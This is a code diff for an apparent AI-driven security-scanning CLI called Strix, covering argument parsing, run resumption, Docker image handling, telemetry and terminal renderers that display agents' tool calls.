if args.instruction and args.instruction_file:
@@ -511,148 +400,38 @@ Examples:
args.instruction = f.read().strip()
if not args.instruction:
parser.error(f"Instruction file '{instruction_path}' is empty")
except Exception as e:
except Exception as e: # noqa: BLE001
parser.error(f"Failed to read instruction file '{instruction_path}': {e}")
args.user_explicit_instruction = args.instruction if args.resume else None
if args.resume:
if args.target or args.mount:
parser.error(
"Cannot combine --resume with --target/--mount. --resume picks up where "
"the prior run left off, including the original target list."
)
_load_resume_state(args, parser)
agents_path = runtime_state_dir(run_dir_for(args.resume)) / "agents.json"
if not agents_path.exists():
parser.error(
f"--resume {args.resume}: missing {agents_path}. The run was "
f"persisted but never reached its first agent snapshot — "
f"there's nothing to resume from. Pick a fresh --run-name "
f"or remove --resume to start over with the same targets."
)
else:
if not args.target and not args.mount:
parser.error(
"the following arguments are required: -t/--target or --mount "
"(or use --resume <run_name> to continue a prior scan)"
)
args.targets_info = []
for target in args.target or []:
try:
target_type, target_dict = infer_target_type(target)
if target_type == "local_code":
display_target = target_dict.get("target_path", target)
else:
display_target = target
args.targets_info.append(
{"type": target_type, "details": target_dict, "original": display_target}
)
except ValueError:
parser.error(f"Invalid target '{target}'")
args.targets_info = []
for target in args.target:
try:
args.targets_info.extend(build_mount_targets_info(args.mount or []))
except ValueError as e:
parser.error(str(e))
target_type, target_dict = infer_target_type(target)
args.targets_info = dedupe_local_targets(args.targets_info)
if target_type == "local_code":
display_target = target_dict.get("target_path", target)
else:
display_target = target
assign_workspace_subdirs(args.targets_info)
rewrite_localhost_targets(args.targets_info, HOST_GATEWAY_HOSTNAME)
max_local_copy_mb = load_settings().runtime.max_local_copy_mb
max_copy_bytes = max_local_copy_mb * 1024 * 1024
oversized = find_oversized_local_targets(args.targets_info, max_copy_bytes)
if oversized:
details = "; ".join(
f"{path} ({size / (1024 * 1024):.0f} MB)" for path, size in oversized
)
parser.error(
f"Local target too large to stream into the sandbox: {details}. "
f"The limit is {max_local_copy_mb} MB "
"(set STRIX_MAX_LOCAL_COPY_MB to change it). Re-run with "
"--mount <path> to bind-mount the directory instead of copying it."
args.targets_info.append(
{"type": target_type, "details": target_dict, "original": display_target}
)
except ValueError:
parser.error(f"Invalid target '{target}'")
assign_workspace_subdirs(args.targets_info)
rewrite_localhost_targets(args.targets_info, HOST_GATEWAY_HOSTNAME)
return args
def _persist_run_record(args: argparse.Namespace) -> None:
run_dir = run_dir_for(args.run_name)
run_dir.mkdir(parents=True, exist_ok=True)
run_record = {
"run_id": args.run_name,
"run_name": args.run_name,
"status": "running",
"start_time": datetime.now(UTC).isoformat(),
"end_time": None,
"targets_info": args.targets_info,
"scan_mode": args.scan_mode,
"instruction": args.instruction,
"non_interactive": args.non_interactive,
"local_sources": getattr(args, "local_sources", []),
"diff_scope": getattr(args, "diff_scope", {"active": False}),
"scope_mode": args.scope_mode,
"diff_base": args.diff_base,
}
write_run_record(run_dir, run_record)
def _load_resume_state(args: argparse.Namespace, parser: argparse.ArgumentParser) -> None:
"""Populate ``args.targets_info`` and friends from a prior run's run.json."""
run_dir = run_dir_for(args.resume)
state_path = run_dir / "run.json"
if not state_path.exists():
parser.error(
f"--resume {args.resume}: no such run "
f"(missing {state_path}; remove --resume for a fresh start)"
)
try:
state = read_run_record(run_dir)
except RuntimeError as exc:
parser.error(f"--resume {args.resume}: run.json unreadable: {exc}")
args.targets_info = state.get("targets_info") or []
if not args.targets_info:
parser.error(f"--resume {args.resume}: run.json has no targets_info")
for target in args.targets_info:
if not isinstance(target, dict):
continue
details = target.get("details") or {}
if target.get("type") != "repository":
continue
cloned = details.get("cloned_repo_path")
if not cloned:
continue
if not Path(cloned).expanduser().exists():
parser.error(
f"--resume {args.resume}: cloned repo at {cloned} is missing. "
f"It was deleted between runs. Pick a fresh --run-name to "
f"re-clone, or restore the directory before resuming."
)
if args.instruction is None:
args.instruction = state.get("instruction")
if state.get("local_sources"):
args.local_sources = state.get("local_sources")
if state.get("diff_scope"):
args.diff_scope = state.get("diff_scope")
persisted_scan_mode = state.get("scan_mode")
if persisted_scan_mode and args.scan_mode == "deep":
args.scan_mode = persisted_scan_mode
def display_completion_message(args: argparse.Namespace, results_path: Path) -> None:
console = Console()
report_state = get_global_report_state()
tracer = get_global_tracer()
scan_completed = False
if report_state:
scan_completed = report_state.run_record.get("status") == "completed"
if tracer and tracer.scan_results:
scan_completed = tracer.scan_results.get("scan_completed", False)
completion_text = Text()
if scan_completed:
@@ -671,9 +450,9 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
target_text.append("\n ")
target_text.append(target_info["original"], style="white")
stats_text = build_final_stats_text(report_state)
stats_text = build_final_stats_text(tracer)
panel_parts: list[Text | str] = [completion_text, "\n\n", target_text]
panel_parts = [completion_text, "\n\n", target_text]
if stats_text.plain:
panel_parts.extend(["\n", stats_text])
@@ -685,14 +464,6 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
results_text.append(str(results_path), style="#60a5fa")
panel_parts.extend(["\n", results_text])
if not scan_completed:
resume_text = Text()
resume_text.append("\n")
resume_text.append("Resume", style="dim")
resume_text.append(" ")
resume_text.append(f"strix --resume {args.run_name}", style="#22c55e")
panel_parts.extend(["\n", resume_text])
panel_content = Text.assemble(*panel_parts)
border_style = "#22c55e" if scan_completed else "#eab308"
@@ -708,11 +479,7 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
console.print("\n")
console.print(panel)
console.print()
console.print(
"[#60a5fa]strix.ai[/] [dim]·[/] "
"[#60a5fa]docs.strix.ai[/] [dim]·[/] "
"[#60a5fa]discord.gg/strix-ai[/]"
)
console.print("[#60a5fa]strix.ai[/] [dim]·[/] [#60a5fa]discord.gg/strix-ai[/]")
console.print()
@@ -720,15 +487,11 @@ def pull_docker_image() -> None:
console = Console()
client = check_docker_connection()
image = load_settings().runtime.image
if image_exists(client, image):
logger.debug("Docker image already present locally: %s", image)
if image_exists(client, Config.get("strix_image")): # type: ignore[arg-type]
return
logger.info("Pulling docker image: %s", image)
console.print()
console.print(f"[dim]Pulling image[/] {image}")
console.print(f"[dim]Pulling image[/] {Config.get('strix_image')}")
console.print("[dim yellow]This only happens on first run and may take a few minutes...[/]")
console.print()
@@ -737,16 +500,15 @@ def pull_docker_image() -> None:
layers_info: dict[str, str] = {}
last_update = ""
for line in client.api.pull(image, stream=True, decode=True):
for line in client.api.pull(Config.get("strix_image"), stream=True, decode=True):
last_update = process_pull_line(line, layers_info, status, last_update)
except DockerException as e:
logger.exception("Failed to pull docker image %s", image)
console.print()
error_text = Text()
error_text.append("FAILED TO PULL IMAGE", style="bold red")
error_text.append("\n\n", style="white")
error_text.append(f"Could not download: {image}\n", style="white")
error_text.append(f"Could not download: {Config.get('strix_image')}\n", style="white")
error_text.append(str(e), style="dim red")
panel = Panel(
@@ -759,23 +521,30 @@ def pull_docker_image() -> None:
console.print(panel, "\n")
sys.exit(1)
logger.info("Docker image %s ready", image)
success_text = Text()
success_text.append("Docker image ready", style="#22c55e")
console.print(success_text)
console.print()
def main() -> None:
configure_dependency_logging()
def apply_config_override(config_path: str) -> None:
Config._config_file_override = validate_config_file(config_path)
apply_saved_config(force=True)
def persist_config() -> None:
if Config._config_file_override is None:
save_current_config()
def main() -> None: # noqa: PLR0912, PLR0915
if sys.platform == "win32":
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
args = parse_arguments()
if args.config:
apply_config_override(validate_config_file(args.config))
apply_config_override(args.config)
check_docker_installed()
pull_docker_image()
@@ -783,63 +552,60 @@ def main() -> None:
validate_environment()
asyncio.run(warm_up_llm())
persist_current()
persist_config()
args.run_name = args.resume or generate_run_name(args.targets_info)
args.run_name = generate_run_name(args.targets_info)
if not args.resume:
for target_info in args.targets_info:
if target_info["type"] == "repository":
repo_url = target_info["details"]["target_repo"]
dest_name = target_info["details"].get("workspace_subdir")
cloned_path = clone_repository(repo_url, args.run_name, dest_name)
target_info["details"]["cloned_repo_path"] = cloned_path
for target_info in args.targets_info:
if target_info["type"] == "repository":
repo_url = target_info["details"]["target_repo"]
dest_name = target_info["details"].get("workspace_subdir")
cloned_path = clone_repository(repo_url, args.run_name, dest_name)
target_info["details"]["cloned_repo_path"] = cloned_path
args.local_sources = collect_local_sources(args.targets_info)
try:
diff_scope = resolve_diff_scope_context(
local_sources=args.local_sources,
scope_mode=args.scope_mode,
diff_base=args.diff_base,
non_interactive=args.non_interactive,
)
except ValueError as e:
console = Console()
error_text = Text()
error_text.append("DIFF SCOPE RESOLUTION FAILED", style="bold red")
error_text.append("\n\n", style="white")
error_text.append(str(e), style="white")
args.local_sources = collect_local_sources(args.targets_info)
try:
diff_scope = resolve_diff_scope_context(
local_sources=args.local_sources,
scope_mode=args.scope_mode,
diff_base=args.diff_base,
non_interactive=args.non_interactive,
)
except ValueError as e:
console = Console()
error_text = Text()
error_text.append("DIFF SCOPE RESOLUTION FAILED", style="bold red")
error_text.append("\n\n", style="white")
error_text.append(str(e), style="white")
panel = Panel(
error_text,
title="[bold white]STRIX",
title_align="left",
border_style="red",
padding=(1, 2),
)
console.print("\n")
console.print(panel)
console.print()
sys.exit(1)
panel = Panel(
error_text,
title="[bold white]STRIX",
title_align="left",
border_style="red",
padding=(1, 2),
)
console.print("\n")
console.print(panel)
console.print()
sys.exit(1)
args.diff_scope = diff_scope.metadata
if diff_scope.instruction_block:
if args.instruction:
args.instruction = f"{diff_scope.instruction_block}\n\n{args.instruction}"
else:
args.instruction = diff_scope.instruction_block
args.diff_scope = diff_scope.metadata
if diff_scope.instruction_block:
if args.instruction:
args.instruction = f"{diff_scope.instruction_block}\n\n{args.instruction}"
else:
args.instruction = diff_scope.instruction_block
_persist_run_record(args)
is_whitebox = bool(args.local_sources)
_telemetry_start_kwargs = {
"model": load_settings().llm.model,
"scan_mode": args.scan_mode,
"is_whitebox": is_whitebox_scan(args.targets_info),
"interactive": not args.non_interactive,
"has_instructions": bool(args.instruction),
}
posthog.start(**_telemetry_start_kwargs)
scarf.start(**_telemetry_start_kwargs)
posthog.start(
model=Config.get("strix_llm"),
scan_mode=args.scan_mode,
is_whitebox=is_whitebox,
interactive=not args.non_interactive,
has_instructions=bool(args.instruction),
)
exit_reason = "user_exit"
try:
@@ -852,25 +618,18 @@ def main() -> None:
except Exception as e:
exit_reason = "error"
posthog.error("unhandled_exception", str(e))
scarf.error("unhandled_exception", str(e))
raise
finally:
report_state = get_global_report_state()
if report_state:
status = {"interrupted": "interrupted", "error": "failed"}.get(
exit_reason,
"stopped",
)
report_state.cleanup(status=status)
posthog.end(report_state, exit_reason=exit_reason)
scarf.end(report_state, exit_reason=exit_reason)
tracer = get_global_tracer()
if tracer:
posthog.end(tracer, exit_reason=exit_reason)
results_path = run_dir_for(args.run_name)
results_path = Path("strix_runs") / args.run_name
display_completion_message(args, results_path)
if args.non_interactive:
report_state = get_global_report_state()
if report_state and report_state.vulnerability_reports:
tracer = get_global_tracer()
if tracer and tracer.vulnerability_reports:
sys.exit(2)
+125
View File
@@ -0,0 +1,125 @@
import html
import re
from dataclasses import dataclass
from typing import Literal
from strix.llm.utils import normalize_tool_format
_FUNCTION_TAG_PREFIX = "<function="
_INVOKE_TAG_PREFIX = "<invoke "
_FUNC_PATTERN = re.compile(r"<function=([^>]+)>")
_FUNC_END_PATTERN = re.compile(r"</function>")
_COMPLETE_PARAM_PATTERN = re.compile(r"<parameter=([^>]+)>(.*?)</parameter>", re.DOTALL)
_INCOMPLETE_PARAM_PATTERN = re.compile(r"<parameter=([^>]+)>(.*)$", re.DOTALL)
def _get_safe_content(content: str) -> tuple[str, str]:
if not content:
return "", ""
last_lt = content.rfind("<")
if last_lt == -1:
return content, ""
suffix = content[last_lt:]
if _FUNCTION_TAG_PREFIX.startswith(suffix) or _INVOKE_TAG_PREFIX.startswith(suffix):
return content[:last_lt], suffix
return content, ""
@dataclass
class StreamSegment:
type: Literal["text", "tool"]
content: str
tool_name: str | None = None
args: dict[str, str] | None = None
is_complete: bool = False
def parse_streaming_content(content: str) -> list[StreamSegment]:
if not content:
return []
content = normalize_tool_format(content)
segments: list[StreamSegment] = []
func_matches = list(_FUNC_PATTERN.finditer(content))
if not func_matches:
safe_content, _ = _get_safe_content(content)
text = safe_content.strip()
if text:
segments.append(StreamSegment(type="text", content=text))
return segments
first_func_start = func_matches[0].start()
if first_func_start > 0:
text_before = content[:first_func_start].strip()
if text_before:
segments.append(StreamSegment(type="text", content=text_before))
for i, match in enumerate(func_matches):
tool_name = match.group(1)
func_start = match.end()
func_end_match = _FUNC_END_PATTERN.search(content, func_start)
if func_end_match:
func_body = content[func_start : func_end_match.start()]
is_complete = True
end_pos = func_end_match.end()
else:
if i + 1 < len(func_matches):
next_func_start = func_matches[i + 1].start()
func_body = content[func_start:next_func_start]
else:
func_body = content[func_start:]
is_complete = False
end_pos = len(content)
args = _parse_streaming_params(func_body)
segments.append(
StreamSegment(
type="tool",
content=func_body,
tool_name=tool_name,
args=args,
is_complete=is_complete,
)
)
if is_complete and i + 1 < len(func_matches):
next_start = func_matches[i + 1].start()
text_between = content[end_pos:next_start].strip()
if text_between:
segments.append(StreamSegment(type="text", content=text_between))
return segments
def _parse_streaming_params(func_body: str) -> dict[str, str]:
args: dict[str, str] = {}
complete_matches = list(_COMPLETE_PARAM_PATTERN.finditer(func_body))
complete_end_pos = 0
for match in complete_matches:
param_name = match.group(1)
param_value = html.unescape(match.group(2).strip())
args[param_name] = param_value
complete_end_pos = max(complete_end_pos, match.end())
remaining = func_body[complete_end_pos:]
incomplete_match = _INCOMPLETE_PARAM_PATTERN.search(remaining)
if incomplete_match:
param_name = incomplete_match.group(1)
param_value = html.unescape(incomplete_match.group(2).strip())
args[param_name] = param_value
return args
@@ -0,0 +1,45 @@
from . import (
agent_message_renderer,
agents_graph_renderer,
browser_renderer,
file_edit_renderer,
finish_renderer,
load_skill_renderer,
notes_renderer,
proxy_renderer,
python_renderer,
reporting_renderer,
scan_info_renderer,
terminal_renderer,
thinking_renderer,
todo_renderer,
user_message_renderer,
web_search_renderer,
)
from .base_renderer import BaseToolRenderer
from .registry import ToolTUIRegistry, get_tool_renderer, register_tool_renderer, render_tool_widget
__all__ = [
"BaseToolRenderer",
"ToolTUIRegistry",
"agent_message_renderer",
"agents_graph_renderer",
"browser_renderer",
"file_edit_renderer",
"finish_renderer",
"get_tool_renderer",
"load_skill_renderer",
"notes_renderer",
"proxy_renderer",
"python_renderer",
"register_tool_renderer",
"render_tool_widget",
"reporting_renderer",
"scan_info_renderer",
"terminal_renderer",
"thinking_renderer",
"todo_renderer",
"user_message_renderer",
"web_search_renderer",
]
@@ -1,14 +1,14 @@
import re
from functools import cache
from typing import Any
from typing import Any, ClassVar
from pygments.lexers import get_lexer_by_name, guess_lexer
from pygments.styles import get_style_by_name
from pygments.util import ClassNotFound
from rich.text import Text
from textual.widgets import Static
_BLANK_LINE_RUNS = re.compile(r"\n\s*\n")
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
_HEADER_STYLES = [
@@ -160,12 +160,31 @@ def _process_inline_formatting(line: str) -> Text:
return result
class AgentMessageRenderer:
@register_tool_renderer
class AgentMessageRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "agent_message"
css_classes: ClassVar[list[str]] = ["chat-message", "agent-message"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
content = tool_data.get("content", "")
if not content:
return Static(Text(), classes=" ".join(cls.css_classes))
styled_text = _apply_markdown_styles(content)
return Static(styled_text, classes=" ".join(cls.css_classes))
@classmethod
def render_simple(cls, content: str) -> Text:
if not content:
return Text()
cleaned = _BLANK_LINE_RUNS.sub("\n\n", content).strip()
from strix.llm.utils import clean_content
cleaned = clean_content(content)
if not cleaned:
return Text()
return _apply_markdown_styles(cleaned)
@@ -61,12 +61,12 @@ class SendMessageToAgentRenderer(BaseToolRenderer):
status = tool_data.get("status", "unknown")
message = args.get("message", "")
target_agent_id = args.get("target_agent_id", "")
agent_id = args.get("agent_id", "")
text = Text()
text.append("", style="#60a5fa")
if target_agent_id:
text.append(f"to {target_agent_id}", style="dim")
if agent_id:
text.append(f"to {agent_id}", style="dim")
else:
text.append("sending message", style="dim")
@@ -138,38 +138,3 @@ class WaitForMessageRenderer(BaseToolRenderer):
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@register_tool_renderer
class StopAgentRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "stop_agent"
css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
status = tool_data.get("status", "unknown")
target_agent_id = args.get("target_agent_id", "")
cascade = args.get("cascade", True)
reason = args.get("reason", "")
text = Text()
text.append("", style="#ef4444")
text.append("stopping", style="dim")
if target_agent_id:
text.append(f" {target_agent_id}", style="bold #ef4444")
if cascade:
text.append(" + descendants", style="dim italic")
if reason:
text.append("\n ")
text.append(reason, style="dim")
if isinstance(result, dict) and result.get("success") is False and result.get("error"):
text.append("\n ")
text.append(str(result["error"]), style="#ef4444")
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@@ -0,0 +1,94 @@
from abc import ABC, abstractmethod
from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static
class BaseToolRenderer(ABC):
tool_name: ClassVar[str] = ""
css_classes: ClassVar[list[str]] = ["tool-call"]
@classmethod
@abstractmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
pass
@classmethod
def build_text(cls, tool_data: dict[str, Any]) -> Text: # noqa: ARG003
return Text()
@classmethod
def create_static(cls, content: Text, status: str) -> Static:
css_classes = cls.get_css_classes(status)
return Static(content, classes=css_classes)
@classmethod
def status_icon(cls, status: str) -> tuple[str, str]:
icons = {
"running": ("● In progress...", "#f59e0b"),
"completed": ("✓ Done", "#22c55e"),
"failed": ("✗ Failed", "#dc2626"),
"error": ("✗ Error", "#dc2626"),
}
return icons.get(status, ("○ Unknown", "dim"))
@classmethod
def get_css_classes(cls, status: str) -> str:
base_classes = cls.css_classes.copy()
base_classes.append(f"status-{status}")
return " ".join(base_classes)
@classmethod
def text_with_style(cls, content: str, style: str | None = None) -> Text:
text = Text()
text.append(content, style=style)
return text
@classmethod
def text_icon_label(
cls,
icon: str,
label: str,
icon_style: str | None = None,
label_style: str | None = None,
) -> Text:
text = Text()
text.append(icon, style=icon_style)
text.append(" ")
text.append(label, style=label_style)
return text
@classmethod
def text_header(
cls,
icon: str,
title: str,
subtitle: str = "",
title_style: str = "bold",
subtitle_style: str = "dim",
) -> Text:
text = Text()
text.append(icon)
text.append(" ")
text.append(title, style=title_style)
if subtitle:
text.append(" ")
text.append(subtitle, style=subtitle_style)
return text
@classmethod
def text_key_value(
cls,
key: str,
value: str,
key_style: str = "dim",
value_style: str | None = None,
indent: int = 2,
) -> Text:
text = Text()
text.append(" " * indent)
text.append(key, style=key_style)
text.append(": ")
text.append(value, style=value_style)
return text
@@ -0,0 +1,136 @@
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import get_lexer_by_name
from pygments.styles import get_style_by_name
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
@register_tool_renderer
class BrowserRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "browser_action"
css_classes: ClassVar[list[str]] = ["tool-call", "browser-tool"]
SIMPLE_ACTIONS: ClassVar[dict[str, str]] = {
"back": "going back in browser history",
"forward": "going forward in browser history",
"scroll_down": "scrolling down",
"scroll_up": "scrolling up",
"refresh": "refreshing browser tab",
"close_tab": "closing browser tab",
"switch_tab": "switching browser tab",
"list_tabs": "listing browser tabs",
"view_source": "viewing page source",
"get_console_logs": "getting console logs",
"screenshot": "taking screenshot of browser tab",
"wait": "waiting...",
"close": "closing browser",
}
@classmethod
def _get_token_color(cls, token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
@classmethod
def _highlight_js(cls, code: str) -> Text:
lexer = get_lexer_by_name("javascript")
text = Text()
for token_type, token_value in lexer.get_tokens(code):
if not token_value:
continue
color = cls._get_token_color(token_type)
text.append(token_value, style=color)
return text
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
action = args.get("action", "")
content = cls._build_content(action, args)
css_classes = cls.get_css_classes(status)
return Static(content, classes=css_classes)
@classmethod
def _build_url_action(cls, text: Text, label: str, url: str | None, suffix: str = "") -> None:
text.append(label, style="#06b6d4")
if url:
text.append(url, style="#06b6d4")
if suffix:
text.append(suffix, style="#06b6d4")
@classmethod
def _build_content(cls, action: str, args: dict[str, Any]) -> Text:
text = Text()
text.append("🌐 ")
if action in cls.SIMPLE_ACTIONS:
text.append(cls.SIMPLE_ACTIONS[action], style="#06b6d4")
return text
url = args.get("url")
url_actions = {
"launch": ("launching ", " on browser" if url else "browser"),
"goto": ("navigating to ", ""),
"new_tab": ("opening tab ", ""),
}
if action in url_actions:
label, suffix = url_actions[action]
if action == "launch" and not url:
text.append("launching browser", style="#06b6d4")
else:
cls._build_url_action(text, label, url, suffix)
return text
click_actions = {
"click": "clicking",
"double_click": "double clicking",
"hover": "hovering",
}
if action in click_actions:
text.append(click_actions[action], style="#06b6d4")
return text
handlers: dict[str, tuple[str, str | None]] = {
"type": ("typing ", args.get("text")),
"press_key": ("pressing key ", args.get("key")),
"save_pdf": ("saving PDF to ", args.get("file_path")),
}
if action in handlers:
label, value = handlers[action]
text.append(label, style="#06b6d4")
if value:
text.append(str(value), style="#06b6d4")
return text
if action == "execute_js":
text.append("executing javascript", style="#06b6d4")
js_code = args.get("js_code")
if js_code:
text.append("\n")
text.append_text(cls._highlight_js(js_code))
return text
if action:
text.append(action, style="#06b6d4")
return text
@@ -0,0 +1,177 @@
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import get_lexer_by_name, get_lexer_for_filename
from pygments.styles import get_style_by_name
from pygments.util import ClassNotFound
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
def _get_lexer_for_file(path: str) -> Any:
try:
return get_lexer_for_filename(path)
except ClassNotFound:
return get_lexer_by_name("text")
@register_tool_renderer
class StrReplaceEditorRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "str_replace_editor"
css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"]
@classmethod
def _get_token_color(cls, token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
@classmethod
def _highlight_code(cls, code: str, path: str) -> Text:
lexer = _get_lexer_for_file(path)
text = Text()
for token_type, token_value in lexer.get_tokens(code):
if not token_value:
continue
color = cls._get_token_color(token_type)
text.append(token_value, style=color)
return text
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
command = args.get("command", "")
path = args.get("path", "")
old_str = args.get("old_str", "")
new_str = args.get("new_str", "")
file_text = args.get("file_text", "")
text = Text()
icons_and_labels = {
"view": ("", "read", "#10b981"),
"str_replace": ("", "edit", "#10b981"),
"create": ("", "create", "#10b981"),
"insert": ("", "insert", "#10b981"),
"undo_edit": ("", "undo", "#10b981"),
}
icon, label, color = icons_and_labels.get(command, ("", "file", "#10b981"))
text.append(icon, style=color)
text.append(label, style="dim")
if path:
path_display = path[-60:] if len(path) > 60 else path
text.append(" ")
text.append(path_display, style="dim")
if command == "str_replace" and (old_str or new_str):
if old_str:
highlighted_old = cls._highlight_code(old_str, path)
for line in highlighted_old.plain.split("\n"):
text.append("\n")
text.append("-", style="#ef4444")
text.append(" ")
text.append(line)
if new_str:
highlighted_new = cls._highlight_code(new_str, path)
for line in highlighted_new.plain.split("\n"):
text.append("\n")
text.append("+", style="#22c55e")
text.append(" ")
text.append(line)
elif command == "create" and file_text:
text.append("\n")
text.append_text(cls._highlight_code(file_text, path))
elif command == "insert" and new_str:
highlighted_new = cls._highlight_code(new_str, path)
for line in highlighted_new.plain.split("\n"):
text.append("\n")
text.append("+", style="#22c55e")
text.append(" ")
text.append(line)
elif isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif not (result and isinstance(result, dict) and "content" in result) and not path:
text.append(" ")
text.append("Processing...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class ListFilesRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_files"
css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
path = args.get("path", "")
text = Text()
text.append("", style="#10b981")
text.append("list", style="dim")
text.append(" ")
if path:
path_display = path[-60:] if len(path) > 60 else path
text.append(path_display, style="dim")
else:
text.append("Current directory", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class SearchFilesRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "search_files"
css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
path = args.get("path", "")
regex = args.get("regex", "")
text = Text()
text.append("", style="#a855f7")
text.append("search", style="dim")
text.append(" ")
if path and regex:
text.append(path, style="dim")
text.append(" ", style="dim")
text.append(regex, style="#a855f7")
elif path:
text.append(path, style="dim")
elif regex:
text.append(regex, style="#a855f7")
else:
text.append("...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@@ -17,11 +17,7 @@ class LoadSkillRenderer(BaseToolRenderer):
args = tool_data.get("args", {})
status = tool_data.get("status", "completed")
raw_skills = args.get("skills", "")
if isinstance(raw_skills, list):
requested = ", ".join(str(s) for s in raw_skills)
else:
requested = str(raw_skills)
requested = args.get("skills", "")
text = Text()
text.append("", style="#10b981")
@@ -17,6 +17,7 @@ def _truncate(text: str, max_len: int = 80) -> str:
def _sanitize(text: str, max_len: int = 150) -> str:
"""Remove newlines and truncate text."""
clean = text.replace("\n", " ").replace("\r", "").replace("\t", " ")
return _truncate(clean, max_len)
@@ -41,7 +42,7 @@ class ListRequestsRenderer(BaseToolRenderer):
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912 # noqa: PLR0912
args = tool_data.get("args", {})
result = tool_data.get("result")
status = tool_data.get("status", "running")
@@ -72,25 +73,21 @@ class ListRequestsRenderer(BaseToolRenderer):
if "error" in result:
text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
else:
entries = result.get("entries", [])
page_info = result.get("page_info") or {}
has_more = (
bool(page_info.get("has_next_page")) if isinstance(page_info, dict) else False
)
count_suffix = "+" if has_more else ""
text.append(f" [{len(entries)}{count_suffix} found]", style="dim")
total = result.get("total_count", 0)
requests = result.get("requests", [])
if entries and isinstance(entries, list):
text.append(f" [{total} found]", style="dim")
if requests and isinstance(requests, list):
text.append("\n")
for i, entry in enumerate(entries[:MAX_REQUESTS_DISPLAY]):
if not isinstance(entry, dict):
for i, req in enumerate(requests[:MAX_REQUESTS_DISPLAY]):
if not isinstance(req, dict):
continue
req = entry.get("request") or {}
resp = entry.get("response") or {}
method = req.get("method", "?") if isinstance(req, dict) else "?"
host = req.get("host", "") if isinstance(req, dict) else ""
path = req.get("path", "/") if isinstance(req, dict) else "/"
code = resp.get("status_code") if isinstance(resp, dict) else None
method = req.get("method", "?")
host = req.get("host", "")
path = req.get("path", "/")
resp = req.get("response") or {}
code = resp.get("statusCode") if isinstance(resp, dict) else None
text.append(" ")
text.append(f"{method:6}", style="#a78bfa")
@@ -98,13 +95,13 @@ class ListRequestsRenderer(BaseToolRenderer):
if code:
text.append(f" {code}", style=_status_style(code))
if i < min(len(entries), MAX_REQUESTS_DISPLAY) - 1:
if i < min(len(requests), MAX_REQUESTS_DISPLAY) - 1:
text.append("\n")
if len(entries) > MAX_REQUESTS_DISPLAY:
if len(requests) > MAX_REQUESTS_DISPLAY:
text.append("\n")
text.append(
f" ... +{len(entries) - MAX_REQUESTS_DISPLAY} more",
f" ... +{len(requests) - MAX_REQUESTS_DISPLAY} more",
style="dim italic",
)
@@ -142,14 +139,14 @@ class ViewRequestRenderer(BaseToolRenderer):
if status == "completed" and isinstance(result, dict):
if "error" in result:
text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
elif "hits" in result:
hits = result.get("hits", [])
total = result.get("total_hits", len(hits))
elif "matches" in result:
matches = result.get("matches", [])
total = result.get("total_matches", len(matches))
text.append(f" [{total} matches]", style="dim")
if hits and isinstance(hits, list):
if matches and isinstance(matches, list):
text.append("\n")
for i, m in enumerate(hits[:5]):
for i, m in enumerate(matches[:5]):
if not isinstance(m, dict):
continue
before = m.get("before", "") or ""
@@ -167,20 +164,19 @@ class ViewRequestRenderer(BaseToolRenderer):
if after:
text.append(f"{after}...", style="dim")
if i < min(len(hits), 5) - 1:
if i < min(len(matches), 5) - 1:
text.append("\n")
if len(hits) > 5:
if len(matches) > 5:
text.append("\n")
text.append(f" ... +{len(hits) - 5} more matches", style="dim italic")
text.append(f" ... +{len(matches) - 5} more matches", style="dim italic")
